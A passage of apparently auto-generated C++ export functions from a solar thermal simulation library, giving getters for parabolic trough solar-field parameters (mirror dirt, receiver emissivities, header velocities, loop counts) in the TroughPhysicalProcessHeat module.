translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "AnnulusGas", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "AnnulusGas"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Ave_Focal_Length_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "Ave_Focal_Length", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Ave_Focal_Length"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_ColperSCA_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "ColperSCA", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "ColperSCA"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_D_2_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "D_2", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "D_2"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_D_3_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "D_3", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "D_3"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_D_4_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "D_4", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "D_4"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_D_5_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "D_5", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "D_5"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_D_cpnt_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "D_cpnt", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "D_cpnt"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_D_p_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "D_p", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "D_p"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Design_loss_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "Design_loss", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Design_loss"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Dirt_HCE_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "Dirt_HCE", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Dirt_HCE"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Dirt_mirror_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "Dirt_mirror", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Dirt_mirror"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Distance_SCA_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "Distance_SCA", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Distance_SCA"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_EPSILON_4_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "EPSILON_4", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "EPSILON_4"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_EPSILON_5_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "EPSILON_5", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "EPSILON_5"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Error_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "Error", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Error"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_FieldConfig_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "FieldConfig", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "FieldConfig"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Flow_type_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "Flow_type", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Flow_type"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_Fluid_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "Fluid", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "Fluid"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_GeomEffects_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "GeomEffects", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "GeomEffects"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_GlazingIntactIn_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "GlazingIntactIn", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "GlazingIntactIn"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_HCE_FieldFrac_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "HCE_FieldFrac", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "HCE_FieldFrac"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_HDR_rough_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "HDR_rough", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "HDR_rough"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_IAM_matrix_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "IAM_matrix", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "IAM_matrix"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_I_bn_des_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "I_bn_des", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "I_bn_des"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_K_cpnt_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "K_cpnt", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "K_cpnt"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_L_SCA_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "L_SCA", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "L_SCA"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_L_aperture_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "L_aperture", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "L_aperture"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_L_cpnt_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "L_cpnt", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "L_cpnt"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_L_heat_sink_piping_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "L_heat_sink_piping", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "L_heat_sink_piping"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_L_rnr_per_xpan_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "L_rnr_per_xpan", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "L_rnr_per_xpan"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_L_xpan_hdr_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "L_xpan_hdr", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "L_xpan_hdr"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_L_xpan_rnr_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "L_xpan_rnr", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "L_xpan_rnr"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_Min_rnr_xpans_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "Min_rnr_xpans", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "Min_rnr_xpans"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_N_hdr_per_xpan_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "N_hdr_per_xpan", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "N_hdr_per_xpan"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_N_max_hdr_diams_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "N_max_hdr_diams", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "N_max_hdr_diams"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_P_a_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "P_a", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "P_a"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_Pipe_hl_coef_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "Pipe_hl_coef", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "Pipe_hl_coef"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Rho_mirror_clean_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "Rho_mirror_clean", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Rho_mirror_clean"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Rough_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "Rough", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Rough"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_Row_Distance_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "Row_Distance", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "Row_Distance"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_SCA_drives_elec_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "SCA_drives_elec", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "SCA_drives_elec"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Shadowing_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "Shadowing", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Shadowing"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_T_fp_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "T_fp", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "T_fp"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_T_loop_in_des_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "T_loop_in_des", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "T_loop_in_des"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_T_loop_out_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "T_loop_out", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "T_loop_out"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Tau_envelope_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "Tau_envelope", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Tau_envelope"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_TrackingError_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "TrackingError", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "TrackingError"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_Type_cpnt_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "Type_cpnt", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "Type_cpnt"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_cold_max_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "V_hdr_cold_max", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "V_hdr_cold_max"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_cold_min_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "V_hdr_cold_min", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "V_hdr_cold_min"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_hot_max_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "V_hdr_hot_max", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "V_hdr_hot_max"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_V_hdr_hot_min_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "V_hdr_hot_min", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "V_hdr_hot_min"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_W_aperture_aget(SAM_table ptr, int* length, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_array(ptr, "W_aperture", length); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "W_aperture"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_accept_init_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "accept_init", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "accept_init"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_accept_loc_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "accept_loc", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "accept_loc"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_accept_mode_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "accept_mode", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "accept_mode"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_alpha_abs_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "alpha_abs", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "alpha_abs"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_alpha_env_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "alpha_env", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "alpha_env"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_calc_design_pipe_vals_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "calc_design_pipe_vals", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "calc_design_pipe_vals"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_custom_sf_pipe_sizes_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "custom_sf_pipe_sizes", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "custom_sf_pipe_sizes"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_11_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_11", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_11"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_12_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_12", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_12"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_13_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_13", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_13"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_14_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_14", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_14"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_21_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_21", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_21"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_22_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_22", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_22"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_23_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_23", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_23"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_24_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_24", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_24"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_31_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_31", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_31"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_32_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_32", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_32"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_33_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_33", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_33"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_34_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_34", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_34"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_41_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_41", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_41"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_42_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_42", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_42"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_43_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_43", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_43"); }); return result; } SAM_EXPORT double* SAM_TroughPhysicalProcessHeat_SolarField_epsilon_3_44_mget(SAM_table ptr, int* nrows, int* ncols, SAM_error *err){ double* result = nullptr; translateExceptions(err, [&]{ result = ssc_data_get_matrix(ptr, "epsilon_3_44", nrows, ncols); if (!result) make_access_error("SAM_TroughPhysicalProcessHeat", "epsilon_3_44"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_eta_pump_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "eta_pump", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "eta_pump"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_is_model_heat_sink_piping_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "is_model_heat_sink_piping", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "is_model_heat_sink_piping"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_m_dot_htfmax_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "m_dot_htfmax", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_htfmax"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_m_dot_htfmin_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "m_dot_htfmin", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "m_dot_htfmin"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_mc_bal_cold_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "mc_bal_cold", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "mc_bal_cold"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_mc_bal_hot_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "mc_bal_hot", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "mc_bal_hot"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_mc_bal_sca_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "mc_bal_sca", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "mc_bal_sca"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_nColt_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "nColt", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "nColt"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_nHCEVar_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "nHCEVar", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "nHCEVar"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_nHCEt_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "nHCEt", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "nHCEt"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_nLoops_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "nLoops", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "nLoops"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_nSCA_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "nSCA", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "nSCA"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_northsouth_field_sep_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "northsouth_field_sep", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "northsouth_field_sep"); }); return result; } SAM_EXPORT double SAM_TroughPhysicalProcessHeat_SolarField_offset_xpan_hdr_nget(SAM_table ptr, SAM_error *err){ double result; translateExceptions(err, [&]{ if (!ssc_data_get_number(ptr, "offset_xpan_hdr", &result)) make_access_error("SAM_TroughPhysicalProcessHeat", "offset_xpan_hdr"); }); return result; } SAM_EXPORT double* 